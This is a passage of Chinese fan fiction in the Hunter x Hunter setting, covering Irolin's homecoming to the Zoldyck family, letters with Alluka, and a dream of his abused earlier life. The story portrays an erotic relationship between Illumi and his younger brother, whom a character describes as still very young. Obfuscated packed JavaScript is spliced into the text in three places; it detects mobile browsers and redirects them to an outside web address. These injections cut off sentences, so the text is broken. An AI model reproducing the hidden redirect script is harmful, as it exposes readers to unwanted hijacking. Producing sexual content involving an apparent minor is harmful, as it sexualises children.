零洛想，自己最好还是恢复记忆，否则自己就会像病了一样，他不停地怀疑自己，怀疑自己是否出现了第二个人格，为何他能够一瞬间就变得那么残酷呢。记忆，果然，不要丢比较好，既然格蕾西已经在他身边了，那么就可以着手了。 他要见亚路嘉。 他要说服亚路嘉。 ……他要提前回家了，毕竟，时间不等人。 79.73 零洛要回家一趟，他同格蕾西告别。 格蕾西本是想要陪着他回去的，只是零洛觉得，这里很适合放松一下。格蕾西心里的弦绷得太紧了，零洛想要她在这里度假也是无可厚非，甚至和奇犽促膝长谈，大有一副我的女儿就交给你了的架势。 格蕾西囧得不行，她哪里需要奇犽这种小屁孩来保护啊？ 但奇犽信誓旦旦保证，弟弟的朋友也是我朋友，更何况是格蕾西呢，绝对会把她保护好的！于是格蕾西也只能翻个白眼，阴阳怪气叫他，哎呀奇犽哥哥，这个时候就要有人问了，你是不是真的想做我哥哥呢？ 根本没人在问！还有，谁想做你哥啊！ 奇犽没好气地也一起翻了个白眼。 小杰收拾好一些米特阿姨做的手工小礼物给零洛带走，他的眼睛依旧那么明媚，清澈透亮，让零洛觉得是自己太过阴暗，从而羞愧与他对视，小杰只是笑着说——“早点回来吧，伊洛林，我们会等你的哦。” 哪怕你有很多事情要独自一人去需要，我们都会等你回来。 小杰不知道林洛，不懂零洛，但是他知道伊洛林是怎样的人。于是他冲他笑，明朗而光亮的笑，像是太阳。 太阳照射在潮湿的角落，角落里的小蘑菇缩着伞。 零洛接过了那些小手工，他去和奶奶告别，和米特阿姨说再见，如果时间充足，他会再来一次，因为他已经记住了来时路，米特阿姨的手掌贴上他的面颊。陌生的温暖，是从指尖传递来的，隐约间，零洛会想，会不会这就是普通人的母亲，温柔严厉又怀揣着一颗柔软的心肠。 “这里永远欢迎你，零洛。” “下次来，或许我能知道你真正的名字吗？” 阳光从树梢上轻盈落下，照亮她的面庞与双目，她的温柔一览无余。零洛张了张嘴，却又终究什么都没说，前路未知，未来不知道会怎样，他将锚点留在这里，也是希望自己最好不要遗忘。他想要去的地方，是必须有格蕾西的地方。 零洛转过身，在他们的欢送之下，离开了鲸鱼岛。 他走过山路时心跳剧烈飙升，身后仿佛有谁在追赶，可这里却终究没有发生什么，甚至路过的砍柴大叔，也给了他一颗果子，告诫他快些离开这里，太晚了会有大型野兽的。 这里不是…… 零洛扶住额头，晃了晃脑袋，把那一点不由自主的疑惑丢出脑外，他什么都记不起来，就想不起来自己的理由。 他再一次登上了船。 盘旋在天上的鹰落在他的胳膊上，脚上捆绑着信。原本他以为是家里有什么事，打开一看，却是伊尔迷的字迹，他提起自己在网络上看到，写信也是必须的，他只学过恐吓信，所以不大懂怎么写什么情书。 他提笔，落下的是揍敌客家式的句子。 【我会想用毒药将你的胃部紧紧攥住】 【我会想要握着你的心脏数清楚你的心跳】 【如果不能留在我身边，那么死亡也会存在】 【我将永远注视你，片刻不停歇，一点不落下，直到你也回应我】 伊尔迷的字句甚至算得上是轻快。 他提到自己给基裘看了，基裘看得哭出声，表示这简直就是她看过最温柔深情又体贴的告白，所以席巴这几天被迫去学习怎么写情书，不写好就要备受摧残。零洛忍不住笑出声来，而伊尔迷在最后写道。 想要与你融为一体，合二为一，想要吃掉你。 早点回家吧，哥哥很想你。 他满足地捧着信纸，神情也变得柔软，在拍照留念之后，他的心里突然出现了一种奇异的念头，原本平稳的心跳不断加快，此刻若是打开他的胸腔，一定会流淌出黏稠的情绪。 于是他将信纸折叠。 他一口吞下。 信纸尖锐的边缘划过口腔和上牙膛，唾液迅速分泌，他捂住自己的嘴，昂首，他努力吞咽着，直到棱角划过喉咙管，他将信纸吞入腹中。 这样，是不是就能够把哥哥的爱也吃进去了？ 他几乎忍不住那种从头到脚，像被几百万伏的电流流通的感觉，每一寸神经都在颤栗。 是啊，他怎么能够……遗忘。 是哥哥救了他，是哥哥爱着他，是哥哥把他保护，将他训练，是哥哥不厌其烦地哄他开心，是哥哥一直一直都在他身边。是哥哥啊……要合二为一，要融为一体。所以要，吃进去。全部都，吃进去。 零洛趴在围栏上，海风吹拂起他的长发，他感受着胃部的蠕动。 零洛无声地笑了。 从船上下去时，船长大叔对他说了两句话，一句是你看起来很不对劲，第二句话是小姑娘，开心才是最重要的。他接住那颗苹果，笑着和船长说再见，揍敌客的管家早已等候多时，专属飞艇停在港口，于是零洛没有再多费时间去转乘。 只是当他上飞艇后，看到的却是交叠双腿，坐在那看报纸的伊尔迷。 他的长发柔软下垂，搭在肩膀的部分垂落在腹部，抬起头时零碎的额发搭在面颊边。伊尔迷有一双猫似的眼睛，比旁人大些，因此也能够更好地看着他，而他绝佳的长相与身姿，简直是模特也追不上的完美。 “大哥？” 伊尔迷愉悦的轻轻勾了勾唇角，他抬起一只手，看见弟弟跑来，乳燕投林，双臂紧紧勾住他的脖颈，于是伊尔迷也搂住他的腰肢，熟练低头吻他的唇瓣，不出几秒弟弟就顺从的敞开双唇，纠缠着，交换着，随着飞艇慢慢升空，呼吸也更加急促。 “不要做零洛。”他耐心地哄着弟弟：“要做哥哥的伊洛林。” 交换气息时，几乎要吞吃入腹的错觉，哄得弟弟囫囵点了头，黏人得很。之前还会发脾气说不准碰，现在就想清楚了一点吗？伊尔迷满意托着弟弟，品尝着主动的孩子给予的奖励，指尖有一搭没一搭地蹭他的腰侧。 他是不是应该感谢那个小杰，带他去了鲸鱼岛，让他好像受到了什么刺激，又变得脆弱起来了。 红澄澄的苹果放在了伊尔迷的手上。 他丢掉 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伊洛林最后一个念头是，下次还是自己配合吧，不然受不了伊尔迷那种猛烈的折磨了。有一就有二，大概是已经大范围来了一场，所以第二次也变得容易接受了一点，都说了，人类的底线就是打破后就没有底线了。 他睡到晚上才起床，揉着眼睛去洗漱，等到餐厅时他是最后一个。 “爷爷，爸爸，妈妈，我回来了。” 他脚步轻快，奔向基裘，伸手与她拥抱在一起，母亲的怀抱永远这么亲密无间，紧紧地贴着，皮肉都要沾满对方的气息，她的声音永远高亢而颤抖，像要将他抱进骨血里一般：“伊洛林——！！瘦了，我的伊洛林——！！” “妈妈，我好想你。”他亲吻母亲的面颊，想起米特阿姨。每个人都有自己的母亲，而自己，则是基裘的孩子，并非从她肚子里出来，却是她看着长大的孩子。基裘差点掰断他的一只胳膊来以示激动，但她还是认得很好，抚摸着伊洛林的面颊，她心满意足。她的孩子还在，还在这里，还在家里！ “欢迎回家。” 席巴说，而桀诺只是对他笑。 “欢迎回家，哥哥。”是柯特抓住了他的衣角。 “欢迎回家！”这是难得愿意出房间门的糜稽。 伊尔迷只是安静坐在那，他欢不欢迎，今天在飞艇上就已经很明确了。 “我回来了，二哥，柯特。” 心定下来的感觉真好。 伊洛林坐在自己的位置上，揍敌客家共聚一堂，人不齐也没关系，他们在这样的氛围里举杯。剧毒在杯中，在餐盘里。伊洛林将毒药一饮而尽，他望着复古的吊灯，阴暗的房间，还有各具风格特色的家人们。 这是揍敌客家。 这是他的家。 哪怕他不流淌着揍敌客的血液，也是揍敌客家的孩子。 他是伊洛林.揍敌客。 80.74 “你决定了？” “是的。” “哪怕有可能会死？” “我并不惧怕，因为我觉得，他不会伤害我。” 席巴沉默着用手指轻轻梳理着伊洛林的头发，这段日子，本身在脖颈附近的头发，又长到了肩胛骨处，他的手指擅长杀人，不擅长编辫子，此刻却在这里费尽心思的要弄点麻花辫。 他直言不讳，自己已经不把亚路嘉当成儿子来看待，揍敌客里的关系是由血缘组成，而对亲属出手的就自动被剔除，像奇犽那种小打小闹只不过是撒撒娇罢了，这种能直接灭掉一个揍敌客家的存在，怎么也不能把他当作自己人看待。 “伊洛林，你也长大了，很清楚吧？” “如果你死了，不仅仅是自己死了，和你有关系的我们，也会在一瞬间死去。你爱着的人，也包括格蕾西吧？你最近一直和她在一起。她也会死。” 他明确感受到伊洛林的情绪低落下去。 “不过，爸爸允许你们先交换信件。” 他话音刚落，伊洛林便惊喜的转过身来，搂着他在他脸上就是狠狠亲了两口，紧接着往地上一跳，喊着谢谢爸爸，就迫不及待地冲出去写信了。真是不怕他了啊……席巴无奈一笑，伊尔迷挑起眉头，歪了歪头：“爸爸，那惩罚的事情？” “他自己会去的，不必我们提醒。” 席巴说道：“伊尔迷，你要看一遍他写的内容再放过去。” “好的，爸爸。” 他回到房间时伊洛林已经摊开了信纸。 亚路嘉玩着小兔子玩偶，没两下又丢到一边，搂着自己怀里的小黑猫玩偶，又去翻照片，伊洛林的照片正夹在他最喜欢的书本里，每次他看到的时候都会露出笑容。虽然他也想要哥哥的照片——不过不可以贪心，有伊洛林的已经很好了，嘿嘿…他会不会还记得自己呢？应该没有忘记吧！ “拿尼加，拿尼加，你说他们在做什么呢？” “嗯——嘿嘿，我也想跟着一起去呢，我们四个人一起——” 他开心地放下小黑猫玩偶，又去找自己的那一对只有几厘米大的黑白小猫，吸铁石把他们牢牢吸在一起，只要看着这样的东西，亚路嘉就满足了。 叮铃，叮铃，铃铛响起来，女仆推开门，迅速将今日的午餐推进去，而后关上门。 亚路嘉看见食物旁边摆着一个信封。 封面写着：亚路嘉和拿尼加哥哥亲启。 亚路嘉的眼睛亮了起来，他甚至没管自己的饭，直接拆开了信封，好好地将它摆放在一侧，才摊开了那两页信纸。 【亚路嘉哥哥，拿尼加哥哥。 展信佳。 最近还好吗？游戏够不够玩，玩偶还想要新的吗？你送的耳坠很好看，已经好好收起来了。 前段时间和奇犽哥哥一起去了天空竞技场，哥哥已经学会了更多的能力，也教到了朋友，是一件好事。我也跟着哥哥一起去了他朋友的家乡，是个很漂亮的地方。哥哥们一直在房间里会不会无聊呢？ 因为被大哥封印了记忆，所以我记不起来多少我们之前的事情，近期我会努力一下的，希望哥哥们不要难过。爸爸特许我可以通过信件来联络你们，虽然我知道，哥哥是不会伤害我的，但是我也有了很多牵挂，所以没办法做到任性，真的很对不起。 如果以后有机会，我想向你介绍格蕾西，她是我的朋友，是一个很好的女孩子，你见了一定也会喜欢她的。 虽然不知道拿尼加哥哥的情况，但是请务必保重好身体。 我想要恢复记忆的心情越来越强烈，虽然哥哥是想说不让我感到难过，但是失去记忆的茫然困扰着我，我到底是为什么会变成这样子的呢？我的路是怎样走的，这些事情无法停止在脑海里思考，我想让哥哥同意。 我信任哥哥你，也信任拿尼加哥哥。 你们都是我的哥哥，这一点不会改变。祝愿你有美好的一天。 伊洛林。】 “伊洛林……” “拿尼加，伊洛林叫你哥哥呢！” “嘿嘿…要讨论一下吗？关于伊洛林的事情！” 亚路嘉又重新读了好几遍的信，他将信好好收起来，最后放进了自己最珍贵的小箱子里，和黑白猫小玩偶摆在一起，吃完饭后，他好好地回复了一封信，将自己和拿尼加一起讨论过的答案写上去，因为不怎么写信，他的字迹显得生疏。 “拿尼加，伊洛林的记忆那么痛苦，这样真的好吗？你当初不也哭了好久吗？” “嗯、我知道……” “伊洛林是脆弱的孩子呢，要好好保护！” “我们可是哥哥，哥哥就要好好地保护弟弟，所以……所以哪怕是恢复记忆了，我们也是哥哥，对吧？” 【伊洛林，中午好owo！ 嘿嘿，好高兴，你会给我写信！ 好羡慕你们可以去外面玩哦，天空竞技场是什么呢？很好很好的，和天空一样高的地方吗？下次我也要去玩！ 在这里的时间很长很长，有时候也会不知道做什么qnq 但是没关系，我有玩偶，有游戏，还有拿尼加！拿尼加说，伊洛林你的记忆，很难过很难过，如果恢复了的话，就会变成以前的样子了，但是我们还是觉得，如果你真的真的，真的真的一定要恢复记忆的话，那也是没办法了…… 因为啊，哥哥不想拒绝弟弟的请求也是很正常啦ouo 而且，伊洛林是第二次提出来了，应该好好考虑过了吧？这样好了，伊洛林你来，哥哥会守着你的哦。想吃巧克力，还有想要新的娃娃了，伊洛林要带着来哦！ 亚路嘉哥哥，和拿尼加哥哥！】 伊洛林把这封回信给席巴看，席巴也回复他，自己要好好考虑一下。 夜里睡觉时，不出意外又是一阵亲吻，落在耳侧，脖颈，还有……之前是女性身体，现在是男性身体，伊洛林难以置信他哥真的两款都吃得下嘴。“别分心。”伊尔迷提醒他，拇指轻轻一摁，指尖边缘就扣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第二天早晨起来，伊洛林哆哆嗦嗦先去泡了半个点的温泉，把自己泡得光滑如同剥壳鸡蛋后，才慢慢站起来，擦了身子穿衣服。在家里就是会变得有点松懈，居然睡到了十点多……不过也有伊尔迷的责任在里头。 他伸了个懒腰，没吃早餐就去训练房里做了一套训练，再去接受了自己的惩罚。 完事后吃了个饭，去陪糜稽打了两个小时游戏，又陪柯特训练了两个点，这就到了晚餐时间。伊洛林吃了饭，就去逗三毛，听说上次三毛在格蕾西面前表现得不错，还夸了它好几声，三毛骄傲，三毛摇尾巴。 梧桐站在他的背后，看着现如今与从前大不相同的伊洛林。 那个小婴儿，终究还是长大了。 “梧桐！”伊洛林笑起来：“你们多久没给三毛洗澡了，它都有点臭臭的了。” 三毛呜咽一声，仿佛在说自己不臭。 “少爷，您要自己动手吗？” “好啊。” 于是伊尔迷做完单子回来，看见的就是落汤鸡伊洛林，狂甩毛的三毛，和自己家好像遭受了非人虐待的管家们。每个人都像去泥里滚了一圈，只有伊洛林还在笑，但是每个人的眼里都有笑意。 湿淋淋的伊洛林：洗狗是这样的，和洗澡没区别！ 81.75 伊洛林被拖回去洗澡。 梧桐等人回到管家住宅后，才一边换衣服洗澡一边笑着讨论，刚才那手忙脚乱的伊洛林，被狗甩了一身水的伊洛林，真怀念他还是小孩子的时候，一本正经的看图识字，爬来爬去，跌跌撞撞地走……哎呀别提多可爱了。 梧桐没有阻止他们讨论伊洛林，久违一见，伊洛林也变得开朗了。 真是一件好事。 虽然他是下人，但，为揍敌客家族服务，是他的荣幸。 他们正讨论着，复健回来的华石斗郎听了一耳朵，听了个一知半解的。他来这里的时候别人什么也没说，就让他复健，复健完了开始训练，现如今他复健了八成，过几天就能着手训练，几个人和他说过，揍敌客家的训练绝对不算轻松。 “是零洛小姐？还是格蕾西小姐？” 华石斗郎现在是揍敌客家的编外，所以也得喊尊称。 梧桐推了推眼镜，若有所思：“是，伊洛林少爷。” 伊洛林从温泉里爬出来的时候已经手脚发软了，伊尔迷慢条斯理穿好衣服，心里想着要不要就把他留在家里，这样就每天都能尝一口。外面那个克雷诺德家族不足为惧，直接杀了就是。至于格蕾西……接过来生活也行吧。 但很遗憾，这样的话，就得给揍敌客家惹麻烦了。 虽然很直接，也不必考虑任何，但群龙无首的蚂蚁，要处理也是很麻烦的，因为不像是别人的任务，解决了就算了。 伊洛林午睡醒来就收到了消息，席巴要他过去一趟。 伊洛林到时伊尔迷也在场，他打着哈欠走进去，衣服松松垮垮，露出底下痕迹遍布的锁骨和小片肌肤，席巴不忍直视，但毕竟这也算是他自己纵容出来的后果，也只能忍了。伊洛林刚睡醒，还呆着，本想坐在一侧，但被伊尔迷伸手捞了过去，于是也没挣扎，坐在了他怀里。 “爸爸。” 席巴揉了揉他有点乱糟糟的头发，那根自己编的小辫子还垂在他耳侧，席巴心情大好，本想顺势再摸两下，自己儿子就已经不高兴地把人往怀里一搂不让了。嘿，我是你爹，你这么对你爹？ 席巴忍了，下次再罚他。 “亚路嘉的事情，爸爸允许了，但是，如果情况不对，第二个请求之后，你就必须出来。” 伊洛林心下一松：“谢谢爸爸！” 他本想抱一下席巴，奈何伊尔迷的手搂得太紧，不是，你都升级到跟你爹吃醋了吗？他也不惯着，拍他手背：“不准闹爸爸，不然今晚我去奇犽哥房间睡觉了！” 伊尔迷不说话，但是伊尔迷颇为无辜，还有点委屈。 眼瞅着一个吻落在席巴脸上，又把人带了回来，揣在怀里不松开手。他全方位展示了自己的小心眼和嫉妒心，又对伊洛林说晚一些再去，明天吧，准备充分一些不好吗？伊洛林听了他的话，犹豫了片刻，还是同意了。 席巴隐晦叹气，伊洛林哪儿都好，就是太笨了。 又被骗回去了。 伊洛林晚上回去又是一顿被连啃带咬的，他受不了就咬回去，咬得伊尔迷心花怒放，开怀畅爽，给伊洛林看怕了。折腾到他累得不行趴在那，伊尔迷还要咬他脖子，手指不老实，摸一下伊洛林就抖一下。“恢复记忆之后还会爱哥哥吗？”伊尔迷问他，交颈缠绵时他今晚已经问了无数次，伊洛林累得眼皮千斤重，自己都有点缓不过来，再这样下去迟早肾亏。 他勾住伊尔迷的脖颈：“嗯……我不知道。” “因为我不知道自己以前是什么样的，如果我不爱你了，大哥要怎么办呢？” 腰上的手掐进肉里，像要把这腰肢折断一般，伊尔迷咬住他的耳朵，咬得伊洛林抽了一口凉气，疼的像是出了血一般，伊尔迷的声音温柔地舔过耳道，鬼气森森：“哥哥会不在意你现在几岁，让你永远，属于哥哥。” 可怕。伊洛林抖三抖。估计还有更多手段等着他吧……比如囚禁之类的。 真好。好安心，这种逃不掉的感情，好安心。 伊洛林甚至傻笑了一下，自顾自睡了过去。他大概会是那种被囚禁了还觉得米虫生活不错的类型，但外面还有格蕾西等着他呢。所以抱歉了，大哥，如果你要囚禁我，我可是会反抗的哦？伊洛林毫无愧疚感。 第二天她整装待发。 不过今天的训练不能落下。 他要先绕着揍敌客的山跑酷。在跑了两圈之后，伊洛林于后山处遇见了晨练的华石斗郎。 华石斗郎看见他的时候，差点栽进后山的水塘里。 原因无他，伊洛林露出来的脖子上手臂上，全部都是牙印和那些痕迹，脖子上的牙印更是一个接着一个。不是，等一下，我记得你才几岁，你不是和格蕾西一样大吗……华石斗郎惊愕。伊洛林倒是毫无所觉，抬手打了个招呼：“在这里还习惯吗？放心，编外也是包食宿的，不收钱。” “零洛……”华石斗郎刚要说什么，梧桐便出现在了他的身后。 “伊洛林少爷。晨安。” 伊洛林冲他点点头：“梧桐，他的伤差不多了的话，可以着手安排训练了，尽快让他有保护格蕾西的能力。” “是，少爷。” 伊洛林继续跑酷去了。 “等下，少爷，他是男的？”华石斗郎惊诧，想到奇犽抱怨，格蕾西和零洛一起洗澡，一起睡觉，华石斗郎瞳孔地震，他那个时候还在想，为什么奇犽要抱怨呢，原因竟然是这个？梧桐淡淡地瞥了一眼华石斗郎：“伊洛林少爷身份尊贵，下次如果你没有行礼，我会给你记上惩罚。” 人在屋檐下不得不低头，梧桐大概也是好心，毕竟让别的人遇见了，就不是下一次，而是这一次了。 但是伊洛林到底是和谁才会……华石斗郎目光的探究太明显，梧桐沉默片刻，干巴巴回应。 “不要探听主人的事情。” “……好的。” 梧桐是个敬业的管家呢。 怪不得能做主管。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯，因为我遇到了很好的朋友。”他握住亚路嘉的手，和他说自己的朋友，说格蕾西的一切，他们的配合，他们的搭档，他们一起通过的考试，他们互相陪伴着对方。亚路嘉由衷感谢起格蕾西来，顺带着对奇犽的朋友也感兴趣起来。 又聊了一阵子之后，他们开始打游戏，双人闯关的游戏，伊洛林配合得不错，亚路嘉则是游戏高手，烂熟于心的地形让他拿下十分不错的好成绩。他介绍着自己玩的一切，还给伊洛林看自己的画，有一张似乎是画的伊尔迷，两个大大的眼睛占据了纸张的一面，伊洛林忍不住在笑。 亚路嘉突然问他。 “伊洛林，你真的做好准备了吗？” 伊洛林正垂眸笑着，轻轻抬眼时，有微光掠过他的眉眼。 “……嗯。” “哥哥，我想要接受自己了。” 82.76 “伊洛林。” “嗯，我在这里哦。” “给我唱首歌吧。” “好啊。” 亚路嘉外伊洛林怀里，将面颊贴上他的胸膛。他听见伊洛林哼着歌，是他未曾听过的旋律，非常温柔地低吟浅唱，甚至歌词也有些咬字不清，隔着远一些就只能听见一些旋律。他静静听着，安静地享受现在的伊洛林，他对家人的温柔是无可置疑的，捧在了手掌心那般，珍重的。 他未曾读过伊洛林的记忆，但拿尼加读了。 他流着眼泪，哭了好久好久，一定是因为伊洛林的记忆太苦了吧？可是那么苦的伊洛林，有这么温柔的歌声呢。 亚路嘉闭上眼睛，在歌声停下时，他睁开双眼，黑洞洞的眼睛注视着前方，他站起身，凝视着伊洛林，轻而易举的，就这样随性的完成了三次强求。没人问过他，他们只是不断地尝试，年幼的以为这只是一场玩乐，可他随心所欲提出的要求被满足后，听到的就只有各种各样利欲熏心的愿望。 人心真的好黑，好脏。 他是知道拿尼加许愿的规则的哦，只是没人询问。 他也能够控制自己的想法，而不是被支配着无意识许愿，他们为什么就不能理解自己呢？ 没关系，因为有拿尼加，所以没关系。 哥哥有小杰，弟弟有格蕾西，亚路嘉有拿尼加。他们都会获得幸福的。 “哥哥，请你让我，恢复所有记忆。” “——好哦！” 气氛一瞬间凝固了。 无数的黑气从伊洛林身上爆发式的勇气，杀意蠢蠢欲动。他搂着亚路嘉，与其说是搂，倒不如说是被亚路嘉所支撑着，他在发抖，全身抖个不停，下一刻他掐住了自己的喉咙，捂住了口鼻。亚路嘉温柔地抱住他，抚摸着伊洛林的黑发，他的脸上来回切换着表情，一会儿是孩童的稚嫩面容，一会儿是黑洞洞的五官。 “没关系的，伊洛林，全部都已经过去了哦。” “伊洛林，是好孩子呢。” “伊洛林，会获得幸福的。” “……呐，伊洛林。好好地…对待自己哦。” 伊洛林趴在他的怀里，心跳剧烈攀升，监控的另一端，糜稽几乎大叫起来，心跳已经超过了一百五十，超级危险的状态啊！席巴和基裘也同样在看着监控，亚路嘉开始模仿伊洛林，唱刚刚那首歌，有些忘了词的，就用哼唱来替代。伊尔迷盯着屏幕，恨不得现在就在伊洛林的身边，但他不能去。 揍敌客家的长子，不能做出有让家族危险的动作。 伊洛林似乎慢慢平静下来了，他蜷缩在亚路嘉的身侧，任由亚路嘉给他盖上毯子。他拍着伊洛林的背，哼着伊洛林的歌，缓缓地，将自己的弟弟哄睡。没关系的，没关系呢，明天太阳一定也会升起来的，所以，一切都会没事的。 席巴缓慢直起腰。 “这次可以总结出新的，那家伙的使用方式了。” “啊，看起来随着年纪的增长，亚路嘉知道什么该说什么不该说。”伊尔迷附和了一句：“不过，或许只是对奇犽和伊洛林来说，是这样的，对于别人，也是按照上一个愿望的程度来强求，不能够令人安心。” “嗯，毕竟管家如果连锁反应死掉的话，还是挺折腾的。” 席巴回答完这句话，基裘的手指已经摁在了屏幕那里——伊洛林的身上。 “这孩子，也是从那些地方来的吗？” “不，可能只是普通的有上一世吧。”伊尔迷否决了这个揣测：“他稍微有些不同，但特别之处甚至不如格蕾西，在这个世界上很危险，幸亏是在我们揍敌客家呢。” 否则这种脆弱的小孩，不知道要怎么办才好。 亚路嘉转过头，他看着监控室，说出了他的想法：“我要和伊洛林一起在这里，过完这个夜晚。” 隔了许久，话筒里才传出席巴的回应。 “可以。” 伊尔迷独守空房，摸了摸身侧，弟弟睡了三天还没捂热呢，可惜又没有什么任务，他做任务太迅速，以至于家族进入了难得的空闲期，可一开始他其实只是想抽空去接伊洛林回家。再次翻了个身，他突然感觉到一种不同寻常的力量，让他很快睡意涌上心头。他迟疑了一瞬间，便顺从了。 梦很清晰，像是真实发生的，他行走在人与人之间，没人在意他。 黄土地，种着庄稼，小孩子跑来跑去，嬉戏打闹着。天上的太阳毒辣，周遭是一片森林，有连绵不断的山重重叠叠，村口坐着几个老年人，卧着一条毛光水亮的大黄狗。伊尔迷在这个地方走了一会儿，发觉这里几乎是个世外桃源一般的地方，山清水秀不说，出村子的路只有一条，白天有人，晚上有狗，实在是难以离开，真是适合软禁的好地方。 他往村子深处走，脚下有自己的方向，当他走到一栋土房子前，听见了女人刻薄的咒骂声，低矮的围墙遮挡不住伊尔迷的视线，他往里头一看，衣着陈旧而朴素的女孩正抱着头躺在地上，而那有些微胖的中年女人正一脚一脚往她肚子上踹。嘴里骂着赔钱货，骂着该死的东西，仿佛这女孩不是她生出来的，而是天生有仇。 她似乎是踢累了，骂着什么乱七八糟的话语，回了屋内。女孩爬起来，散乱的黑发下，脏污满脸，然而哪怕如此，脸上的巴掌印还是鲜明的，她的眼神冷漠，像死了一样冷，捂着肚子爬起来，开始收拾残局。她动作麻利，扫了院子喂了鸡，捡了鸡蛋洗了衣服，又出门去了。 伊尔迷跟着他，那十几脚踹得不轻，女孩走着走着捂着肚子蹲了下去，她在狼狈地调整呼吸，勉强自己去地里干活。她像一头倔强的小牛犊，拼了命地在太阳下劳作，颤抖着双腿和双脚，眼里却越发得狠了。 她还要去山上，割草，采野菜，回家之后马不停蹄开始做饭，并且趁着家里人不注意，开始往嘴里塞东西吃。伊尔迷原先还不解，直到发现四个人的家庭，只有三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140647|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个碗。 中年妇女和中年男人，还有个胖墩男孩。 他们吃完了，剩点残羹剩饭，男孩嬉笑着倒在地上，女孩也没怎么挣扎，像是习惯了一样，跪在地上舔干净了。 她眼里是活下去的意志，是怨恨在不断累积。 伊尔迷听见房间里，中年夫妻在说话。 “她那学还上？不给钱上什么学，小学都是贴补了，初中再去，就真的赔钱了！她也配和我们宝宝一块上学，等再过几年，嫁人了就是！” “我看行，今年都十二了，再两年，嫁出去，彩礼也是一笔。” “可不是，养在家里吃饭，真浪费粮食！” 女孩大概也是听见了，可她什么话也没说，安静收拾好了一切，收了衣服，忙碌起别的家务活来，而那个男孩，吃着零食，玩着游戏，在这个贫穷的家庭里，生生活得像个皇帝。 他们都有房间，女孩睡在鸡窝隔壁，茅草垫着，半夜发起烧来迷迷糊糊，似乎哭了两声，又似乎没有。她紧紧闭着眼睛，凌晨四点，翻身吐了一场，她好像被踹得有些熬不住了，狼狈地像狗一样爬出家门，找到一处杂草多的地方，囫囵吃了几根野草——伊尔迷认出来，是草药。 接下去，他就在这里看。 看女孩日复一日被折磨，动辄被打骂，还看女孩被男孩的朋友尾随，她被压在角落里，她谄媚地笑，她顺从，却撇开了脸，僵硬在原地，她像说，忍住，忍住，要忍住……而在这时，她自家家里那个男孩出来阻止了，不是第一次，卖不出好价钱，你要是有钱，隔两年来带走。他朋友提起裤腰带，用脚踹了一下女孩的前胸，笑道：“不过一个烂货，我就摸两下。” 女孩在角落里捂着脸，不是在哭，她嘴里不断低声念叨着：杀了你，杀了你们……杀了你们…… 她似乎是陷入了某种情绪里，几乎癫狂。 每周五，她都会守在村口的小卖铺里，下午六点，会有一通电话是给她的。她叫对方深深，对方叫她，林洛。这个时候她的情绪会好一些，伊尔迷也听了个大概，小学春游组织去市里看展览，两个女孩误打误撞认识了，互相倾诉了自己的事情之后，顾深深承诺自己会每周打一个电话来。 而这一次，顾深深说。 “逃吧，林洛，逃啊！” 握着话筒，林洛笑着回答：“好，我下次一定给你打电话。” “不要回头，不要怕。” “嗯，我会想要继续念书的。” “不要杀人，你的以后不应该在这里，不要杀了他们，把那些东西丢了，我来带你走！” 林洛依旧在笑，眼泪却簌簌落下来， 她捂着肚子，艰难地从嗓子眼里挤出回应。 “明天……不会下雨，星星会很漂亮，你要记得看星星。” “你还有未来，我们约定过的！” “嗯，下周五，我们再聊。” 啪，电话挂断了。 83.77 她向上爬，义无反顾。 耕地训练出来的肌肉吗？大概吧。 她熟悉这片山林，因为这里是她的家，可是她讨厌这里，讨厌这个地方。她被这地方困住了，轻而易举地困住了，她受到折磨殴打和谩骂，一切仅仅是因为她是女孩，她要做的事情多如牛毛，可是吃的却少得可怜。 她不愿意这么活着！ 于是她攀爬了山，在大山里游荡，像一抹幽魂。 她遇上了巡山的人，在对方对她生出歹毒念头时，一刀捅进了他的小腹，狠狠一脚踹开了他。林洛的眼里没有任何光彩，做所有事情都毫不留情，她搜刮了巡山人的钱包和物品，得到了食物与金钱，于是她翻山越岭，绕路而行，磨破了自己的鞋。在山里的第六天，她弹尽粮绝，杀了来追自己的狗，却没有吃它。 她在山里游荡的第十天，终于走出了这座山。 夜晚太冷，她挖土把自己埋起来，白天太热，她几乎在每一条河流停下脚步。她爬出这里的时候，表情骇人至极，伊尔迷搭着下巴想，原来他们家伊洛林不是什么纯真的小白兔呢。 之后的事情，像是开了二倍速。她找到了警察局，提供了村子的情报，说出了几个被拐卖女人的名字，她被送到了某个城市，经过考试获取了入学通知书，她被放在学校里，由老师负责看管，每个月拿最低的补助金。她饿，纯饿，饿习惯了之后几乎不吃不喝，她瘦，皮包骨头，物欲极低，也没有口舌之欲，来来回回穿那两套衣服。 她找到了顾深深，后来成了同桌，总是板着张脸的林洛开始笑。 她会被顾深深投喂，超级甜的巧克力，偶尔会吃了就吐，但是无所谓。随着年纪的增长，她开始被人嘲笑，但是无所谓，而顾深深似乎因为太漂亮，总是会引起他人的目光，于是一些流言蜚语悄然诞生。 林洛对于其他的事情没反应，但是对于有关顾深深的事情，会瞬间变得暴躁，几次三番打架斗殴之后，终究是学校的心理医生给她看诊，结论真是令人头疼，另外因为医生观察出的情况，她又被送到医院去，医生奔跑过伊尔迷身侧的时候说着难以置信，正常人内伤拖这么久早就死了，这女孩都不疼的吗！ 